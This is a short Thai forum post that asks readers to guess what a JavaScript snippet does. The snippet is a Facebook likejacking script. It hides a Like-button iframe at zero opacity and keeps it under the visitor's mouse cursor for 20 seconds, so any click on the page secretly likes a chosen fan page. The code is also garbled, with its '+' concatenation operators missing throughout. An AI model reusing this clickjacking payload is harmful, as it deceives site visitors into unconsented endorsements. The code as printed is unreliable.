มาดูกันว่า Code ต่อไปนี้เปัน Code อะไรใครรู้ +1

var fan_page_url = '_URL_FANS_PAGE_FACEBOOK_';
var opacity = 0.0;
var time = 20000;
if((document.getElementById) && window.addEventListener || window.attachEvent){
   (function(){
      var hairCol = "#ff0000";

      var d = document;
      var my = -10;
      var mx = -10;
      var r;
      var vert = "";

      var idx = document.getElementsByTagName('div').length;

      var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=

" encodeURIComponent(fan_page_url) "&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" opacity ";filter:alpha(opacity=" opacity * 100 ");'></iframe>";
      document.write(thehairs);
      var like = document.getElementById("theiframe");
      document.getElementsByTagName('body')[0].appendChild(like);

      var pix = "px";
      var domWw = (typeof window.innerWidth == "number");
      var domSy = (typeof window.pageYOffset == "number");

      if (domWw)
         r = window;
      else{
         if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
            r = d.documentElement;
         else{
            if (d.body && typeof d.body.clientWidth == "number")
               r = d.body;
         }
      }


      if(time != 0){
         setTimeout(function(){
                  document.getElementsByTagName('body')[0].removeChild(like);

                  if (window.addEventListener){
                     document.removeEventListener("mousemove",mouse,false);
                  }
                  else if (window.attachEvent){
                     document.detachEvent("onmousemove",mouse);
                  }
               }, time);
      }

      function scrl(yx){
         var y,x;
         if (domSy){
            y = r.pageYOffset;
            x = r.pageXOffset;
         }
         else{
            y = r.scrollTop;
            x = r.scrollLeft;
         }
         return (yx == 0) ? y:x;
      }

      function mouse(e){
         var msy = (domSy)?window.pageYOffset:0;
         if (!e)
            e = window.event;
         if (typeof e.pageY == 'number'){
            my = e.pageY - 5 - msy;
            mx = e.pageX - 4;
         }
         else{
            my = e.clientY - 6 - msy;
            mx = e.clientX - 6;
         }
         vert.top = my scrl(0) pix;
         vert.left = mx pix;
      }

      function ani(){
         vert.top = my scrl(0) pix;
         setTimeout(ani, 300);
      }

      function init(){
         vert = document.getElementById("theiframe").style;
         ani();
      }

      if (window.addEventListener){
         window.addEventListener("load",init,false);
         document.addEventListener("mousemove",mouse,false);
      }
      else if (window.attachEvent){
         window.attachEvent("onload",init);
         document.attachEvent("onmousemove",mouse);
      }

   })();
}//End.